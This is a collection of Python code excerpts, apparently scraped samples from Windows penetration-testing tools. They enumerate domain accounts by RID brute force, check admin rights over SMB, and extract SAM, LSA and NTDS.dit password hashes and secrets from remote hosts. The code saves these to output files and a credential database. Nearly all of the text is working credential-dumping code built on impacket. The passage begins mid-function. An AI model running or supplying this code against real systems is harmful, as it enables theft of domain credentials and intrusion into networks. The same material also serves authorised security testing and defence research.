            445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            }

        try:
            stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
            logging.debug('StringBinding {}'.format(stringbinding))
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.args.port)

            if KNOWN_PROTOCOLS[self.args.port]['set_host']:
                rpctransport.setRemoteHost(self.host)

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
        except Exception as e:
            self.logger.error('Error creating DCERPC connection: {}'.format(e))
            return entries

        # Want encryption? Uncomment next line
        # But make SIMULTANEOUS variable <= 100
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)

        # Want fragmentation? Uncomment next line
        #dce.set_max_fragment_size(32)

        self.logger.success('Brute forcing RIDs')
        dce.bind(lsat.MSRPC_UUID_LSAT)
        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)

        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()

        soFar = 0
        SIMULTANEOUS = 1000
        for j in range(maxRid//SIMULTANEOUS+1):
            if (maxRid - soFar) // SIMULTANEOUS == 0:
                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
            else:
                sidsToCheck = SIMULTANEOUS

            if sidsToCheck == 0:
                break

            sids = list()
            for i in range(soFar, soFar+sidsToCheck):
                sids.append(domainSid + '-%d' % i)
            try:
                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
            except DCERPCException as e:
                if str(e).find('STATUS_NONE_MAPPED') >= 0:
                    soFar += SIMULTANEOUS
                    continue
                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
                    resp = e.get_packet()
                else:
                    raise

            for n, item in enumerate(resp['TranslatedNames']['Names']):
                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
                    rid    = soFar + n
                    domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
                    user   = item['Name']
                    sid_type = SID_NAME_USE.enumItems(item['Use']).name
                    self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
                    entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})

            soFar += SIMULTANEOUS

        dce.disconnect()

        return entries

    @requires_admin
    def put_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
        with open(self.args.put_file[0], 'rb') as file:
            try:
                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
                self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1]))
            except Exception as e:
                self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))

    @requires_admin
    def get_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
        with open(self.args.get_file[1], 'wb+') as file:
            try:
                self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
                self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
            except Exception as e:
                self.logger.error('Error reading file {}: {}'.format(self.args.share, e))

    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return

        try:
            self.remote_ops  = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.error('RemoteOperations failed: {}'.format(e))

    @requires_admin
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()

    @requires_admin
    def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish()

    @requires_admin
    def ntds(self):
        self.enable_remoteops()
        use_vss_method = False
        NTDSFileName   = None

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_ntds_hash(ntds_hash, host_id):
            add_ntds_hash.ntds_hashes += 1
            self.logger.highlight(ntds_hash)
            if ntds_hash.find('$') == -1:
                if ntds_hash.find('\\') != -1:
                    domain, hash = ntds_hash.split('\\')
                else:
                    domain = self.domain
                    hash = ntds_hash

                try:
                    username,_,lmhash,nthash,_,_,_ = hash.split(':')
                    parsed_hash = ':'.join((lmhash, nthash))
                    if validate_ntlm(parsed_hash):
                        self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
                        add_ntds_hash.added_to_db += 1
                        return
                    raise
                except:
                    logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
            else:
                logging.debug("Dumped hash is a computer account, not adding to db")
        add_ntds_hash.ntds_hashes = 0
        add_ntds_hash.added_to_db = 0

        if self.remote_ops and self.bootkey:
            try:
                if self.args.ntds == 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                 remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                 pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
                                 justUser=None, printUserStatus=False,
                                 perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))

                self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
                NTDS.dump()

                self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
                                                                                                                highlight(add_ntds_hash.added_to_db)))

            except Exception as e:
                #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                #    resumeFile = NTDS.getResumeSessionFile()
                #    if resumeFile is not None:
                #        os.unlink(resumeFile)
                self.logger.error(e)

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            NTDS.finish()
Exemplo n.º 3
0
class DumpSecrets:
    def __init__(self,
                 remote_name,
                 username="",
                 password="",
                 domain="",
                 options=None):
        self.__use_VSS_method = options.use_vss
        self.__remote_name = remote_name
        self.__remote_host = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__smb_connection = None
        self.__remote_ops = None
        self.__SAM_hashes = None
        self.__NTDS_hashes = None
        self.__LSA_secrets = None
        self.__system_hive = options.system
        self.__bootkey = options.bootkey
        self.__security_hive = options.security
        self.__sam_hive = options.sam
        self.__ntds_file = options.ntds
        self.__no_lmhash = options.no_lmhash
        self.__is_remote = options.is_remote
        self.__do_kerberos = options.k
        self.__just_DC = options.just_dc
        self.__just_DC_NTLM = options.just_dc_ntlm
        self.__can_process_SAM_LSA = options.can_process_SAM_LSA
        self.__kdc_host = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(":")

    def connect(self):
        self.__smb_connection = SMBConnection(self.__remote_name,
                                              self.__remote_host)
        self.__smb_connection.login(
            self.__username,
            self.__password,
            self.__domain,
            self.__lmhash,
            self.__nthash,
        )

    def dump(self):  # noqa: C901
        with StdoutCapture() as output_captor:
            dumped_secrets = ""

            try:
                if self.__remote_name.upper(
                ) == "LOCAL" and self.__username == "":
                    self.__is_remote = False
                    self.__use_VSS_method = True
                    if self.__system_hive:
                        local_operations = LocalOperations(self.__system_hive)
                        bootkey = local_operations.getBootKey()
                        if self.__ntds_file is not None:
                            # Let's grab target's configuration about LM Hashes storage.
                            self.__no_lmhash = local_operations.checkNoLMHashPolicy(
                            )
                    else:
                        import binascii

                        bootkey = binascii.unhexlify(self.__bootkey)

                else:
                    self.__is_remote = True
                    bootkey = None
                    try:
                        try:
                            self.connect()
                        except Exception as e:
                            if os.getenv(
                                    "KRB5CCNAME"
                            ) is not None and self.__do_kerberos is True:
                                # SMBConnection failed. That might be because there was no way to
                                # log into the
                                # target system. We just have a last resort. Hope we have tickets
                                # cached and that they
                                # will work
                                logger.debug(
                                    "SMBConnection didn't work, hoping Kerberos will help (%s)"
                                    % str(e))
                            else:
                                raise

                        self.__remote_ops = RemoteOperations(
                            self.__smb_connection, self.__do_kerberos,
                            self.__kdc_host)
                        self.__remote_ops.setExecMethod(
                            self.__options.exec_method)
                        if (self.__just_DC is False
                                and self.__just_DC_NTLM is False
                                or self.__use_VSS_method is True):
                            self.__remote_ops.enableRegistry()
                            bootkey = self.__remote_ops.getBootKey()
                            # Let's check whether target system stores LM Hashes.
                            self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy(
                            )
                    except Exception as e:
                        self.__can_process_SAM_LSA = False
                        if (str(e).find("STATUS_USER_SESSION_DELETED")
                                and os.getenv("KRB5CCNAME") is not None
                                and self.__do_kerberos is True):
                            # Giving some hints here when SPN target name validation is set to
                            # something different to Off.
                            # This will prevent establishing SMB connections using TGS for SPNs
                            # different to cifs/.
                            logger.error(
                                "Policy SPN target name validation might be restricting full "
                                "DRSUAPI dump." + "Try -just-dc-user")
                        else:
                            logger.error("RemoteOperations failed: %s" %
                                         str(e))

                # If RemoteOperations succeeded, then we can extract SAM and LSA.
                if (self.__just_DC is False and self.__just_DC_NTLM is False
                        and self.__can_process_SAM_LSA):
                    try:
                        if self.__is_remote is True:
                            SAM_file_name = self.__remote_ops.saveSAM()
                        else:
                            SAM_file_name = self.__sam_hive

                        self.__SAM_hashes = SAMHashes(
                            SAM_file_name, bootkey, isRemote=self.__is_remote)
                        self.__SAM_hashes.dump()
                    except Exception as e:
                        logger.error("SAM hashes extraction failed: %s" %
                                     str(e))

                    try:
                        if self.__is_remote is True:
                            SECURITY_file_name = self.__remote_ops.saveSECURITY(
                            )
                        else:
                            SECURITY_file_name = self.__security_hive

                        self.__LSA_secrets = LSASecrets(
                            SECURITY_file_name,
                            bootkey,
                            self.__remote_ops,
                            isRemote=self.__is_remote,
                        )
                        self.__LSA_secrets.dumpCachedHashes()
                        self.__LSA_secrets.dumpSecrets()
                    except Exception as e:
                        logger.debug(traceback.print_exc())
                        logger.error("LSA hashes extraction failed: %s" %
                                     str(e))

                # NTDS Extraction we can try regardless of RemoteOperations failing. It might
                # still work.
                if self.__is_remote is True:
                    if self.__use_VSS_method and self.__remote_ops is not None:
                        NTDS_file_name = self.__remote_ops.saveNTDS()
                    else:
                        NTDS_file_name = None
                else:
                    NTDS_file_name = self.__ntds_file

                self.__NTDS_hashes = NTDSHashes(
                    NTDS_file_name,
                    bootkey,
                    isRemote=self.__is_remote,
                    noLMHash=self.__no_lmhash,
                    remoteOps=self.__remote_ops,
                    useVSSMethod=self.__use_VSS_method,
                    justNTLM=self.__just_DC_NTLM,
                )
                try:
                    self.__NTDS_hashes.dump()
                except Exception as e:
                    logger.debug(traceback.print_exc())
                    if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
                        # We don't store the resume file if this error happened, since this error
                        # is related to lack
                        # of enough privileges to access DRSUAPI.
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                    logger.error(e)
                    if self.__use_VSS_method is False:
                        logger.error(
                            "Something wen't wrong with the DRSUAPI approach. Try again with "
                            "-use-vss parameter")
                self.cleanup()
            except (Exception, KeyboardInterrupt) as e:
                logger.debug(traceback.print_exc())
                logger.error(e)
                if self.__NTDS_hashes is not None:
                    if isinstance(e, KeyboardInterrupt):
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                try:
                    self.cleanup()
                except Exception:
                    pass
            finally:
                dumped_secrets = (output_captor.get_captured_stdout_output()
                                  )  # includes hashes and kerberos keys
                return dumped_secrets

    def cleanup(self):
        logger.debug("Cleaning up...")
        if self.__remote_ops:
            self.__remote_ops.finish()
        if self.__SAM_hashes:
            self.__SAM_hashes.finish()
        if self.__LSA_secrets:
            self.__LSA_secrets.finish()
        if self.__NTDS_hashes:
            self.__NTDS_hashes.finish()
Exemplo n.º 4
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth       = False
        self.con        = False
        self.client     = ''.join([choice(ascii_letters + digits) for x in range(7)])
        self.smbv1      = False
        self.os         = ''
        self.admin      = False
        self.signing    = False
        self.os_arch    = ''
        self.remote_ops = None
        self.bootkey    = None
        self.db         = db
        self.port       = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # @TODO refactor, called by spider & file search to create con
        if self.smb_connection():
            try:
                self.login()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def login(self):
        self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash)
        self.auth = True
        self.isAdmin()
        self.updatedb_user()


    def updatedb_user(self):
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain, self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass


    ################################
    #
    # SMB Connection
    #
    ################################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client, self.ip, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout))
            self.smbv1=True
            self.con.setTimeout(self.timeout)
            self.logger.debug('SMBv1: Connected to: {}'.format(self.ip))
            return True
        except Exception as e:
            self.logger.debug('SMBv1: Error creating connection to {}: {}'.format(self.host, e))
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client, self.ip, sess_port=self.port, timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            self.logger.debug('SMBv3: Connected to: {}'.format(self.ip))
            return True
        except Exception as e:
            self.logger.debug('SMBv3: Error creating connection to {}: {}'.format(self.ip, e))
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName() + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName() + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.con.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.getErrorString():
                pass

        self.srvdomain  = self.con.getServerDomain()       # Demo
        self.host       = self.get_hostname()
        self.os         = self.con.getServerOS()           # Windows 10 Build 17134
        self.signing    = self.con.isSigningRequired()     # True/False

        if not self.srvdomain:
            self.srvdomain = self.con.getServerName()

        arch = self.get_os_arch()
        if arch != 0:
            self.os_arch = " x{}".format(str(arch))

        if self.con.getServerDNSDomainName():
            domain = self.con.getServerDNSDomainName()
        else:
            domain = self.ip

        try:
            # Log off before attempting new auth
            self.logoff()
        except:
            pass

        self.db.update_host(self.host, self.ip, domain, self.os, self.signing)

        if self.args.gen_relay_list and not self.signing:
            self.loggers['relay_list'].info(self.ip)

        self.smb_connection()

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and (self.con.getServerName().lower() != self.con.getServerDNSDomainName().lower()):
                return (self.con.getServerName() + "." + self.con.getServerDNSDomainName())
        else:
            return self.con.getServerName()


    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join([choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        try:
            rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con)
            dce = rpctransport.get_dce_rpc()
            try:
                dce.connect()
            except:
                pass
            else:
                dce.bind(scmr.MSRPC_UUID_SCMR)
                try:
                    # 0xF003F - SC_MANAGER_ALL_ACCESS
                    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                    ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F)
                    self.admin = True
                    return True
                except scmr.DCERPCException as e:
                    pass
        except Exception as e:
            print(e)
        return False

    ################################
    # Dump SAM / LSA
    #   Methods were modified from:
    #     https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
    #     https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
    ################################
    def enable_remoteops(self):
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(self.host, str(e)))

    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host, "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)

            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, self.host))
                SAM.dump()
                SAM.export(outfile)
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([self.host, self.ip, "SAM HASH", '{} hashes added to the database'.format(add_sam_hash.added_to_db)])
            self.logger.info([self.host, self.ip, "SAM HASH", 'Output saved to: {}.sam'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["SAM", "Error calling remote_ops.finish(): {}".format(e)])
        SAM.finish()

    def lsa(self):
        def add_lsa_secret(secret):
            for x in secret.splitlines():
                self.logger.success([self.host, self.ip, "LSA SECRET", x])
                add_lsa_secret.secrets += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)
            # Dump
            add_lsa_secret.secrets = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SECURITYFileName = self.remote_ops.saveSECURITY()
                LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))
                LSA.dumpCachedHashes()
                LSA.exportCached(outfile)
                LSA.dumpSecrets()
                LSA.exportSecrets(outfile)
        except Exception as e:
            self.logger.debug('LSA Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_lsa_secret.secrets > 0:
            self.logger.info([self.host, self.ip, "LSA SECRET", 'Output saved to: {}.secrets'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["LSA", "Error calling remote_ops.finish(): {}".format(e)])
        LSA.finish()

    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        add_ntds_hash.clear_text += 1
                        domain, username = username.split("\\")
                        self.db.update_user(username, password, domain, '')
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail("Error adding clear text cred to db: {}".format(ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain, "{}:{}".format(lmhash,nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug("Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                  remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                  pwdLastSet=False, resumeSession=None, outputFileName=outfile,
                                  justUser=None, printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret: add_ntds_hash(secret))

                self.logger.info([self.host, self.ip, "NTDS", 'Extracting NTDS.dit, this could take a few minutes...'])
                NTDS.dump()

                self.logger.success([self.host, self.ip, "NTDS", '{} hashes and {} passwords collected'.format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)])
                self.logger.success([self.host, self.ip, "NTDS", '{} creds added to the database'.format(add_ntds_hash.added_to_db)])
                self.logger.info([self.host, self.ip, "NTDS", 'Hash files located at: {}'.format(outfile)])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(self.host, str(e)))

        try:
            self.remote_ops.finish()

        except Exception as e:
            self.logger.debug(["NTDS", "Error calling remote_ops.finish(): {}".format(e)])
        NTDS.finish()

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file, 'rb')
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', remote_share='C$'):
        f = open(location, 'wb')
        self.con.getFile(remote_share, remote_file, f.write)
        f.close()

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file.replace('\\','/'))
class DumpSecrets:
    def __init__(self,
                 remoteName,
                 username='',
                 password='',
                 domain='',
                 targetip=None,
                 sam='',
                 system='',
                 security='',
                 justdc=True):
        self.__remoteName = remoteName
        self.__remoteHost = targetip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = system
        self.__securityHive = security
        self.__samHive = sam
        self.__ntdsFile = None
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = 'dump'
        self.__justDC = justdc
        self.__canProcessSAMLSA = True
        self.__useVSSMethod = False

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName,
                                             self.__remoteHost)
        self.__smbConnection.login(self.__username, self.__password,
                                   self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        raise

                    self.__remoteOps = RemoteOperations(
                        self.__smbConnection, False)
                    self.__remoteOps.setExecMethod(None)
                    if self.__justDC is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy(
                        )
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED'
                                   ) and os.getenv('KRB5CCNAME') is not None:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error(
                            'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user'
                        )
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))
            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = self.__samHive

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))
            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile
            self.__NTDSHashes = NTDSHashes(
                NTDSFileName,
                bootKey,
                isRemote=self.__isRemote,
                noLMHash=self.__noLMHash,
                remoteOps=self.__remoteOps,
                useVSSMethod=self.__useVSSMethod,
                outputFileName=self.__outputFileName)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
